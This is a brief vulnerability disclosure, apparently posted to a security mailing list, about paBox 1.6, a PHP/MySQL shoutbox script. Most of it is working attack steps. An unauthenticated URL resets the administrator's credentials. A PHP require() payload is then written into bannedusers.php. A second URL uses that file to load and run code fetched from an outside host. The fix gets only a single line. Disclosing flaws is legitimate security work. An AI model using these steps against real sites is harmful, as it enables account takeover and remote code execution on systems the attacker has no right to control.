Multiple vulnerabilities in paBox

["silentscripter" <silentscripter () altern org>]

paBox V1.6
Reset admin password and execute remote code

Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 1.6
Website : http://www.phparena.net/pabox
Describe : paBox is a PHP/mySQL shoutbox script. You can add it to your site
and visitors can post new messages, it is sort of like a guestbook.

Exploit :
°°°°°°°°°°°°°°°°°°°
Visitor can reset the Administrator's username and password to anything he's
want and after that, login into the Admin Control Panel on admin.php by this
URL :
http://localhost/thebox/admin.php?act=write&username=admin&password=admin&ad
user=admin&adpass=admin

After loging into the Control Panel, visitor can write any remote code to
the file bannedusers.php (usualy blank) and use this file to execute remote
code, for example, adding <? require ($file); ?> to bannedusers.php and run
http://localhost/thebox/bannedusers.php?file=http://website.com/badcode.php
will execute like a include() hole.

Path:
°°°°°°°°°°°°°°°°°°°
Remove code when write to file bannedusers.php.

Silent Scripter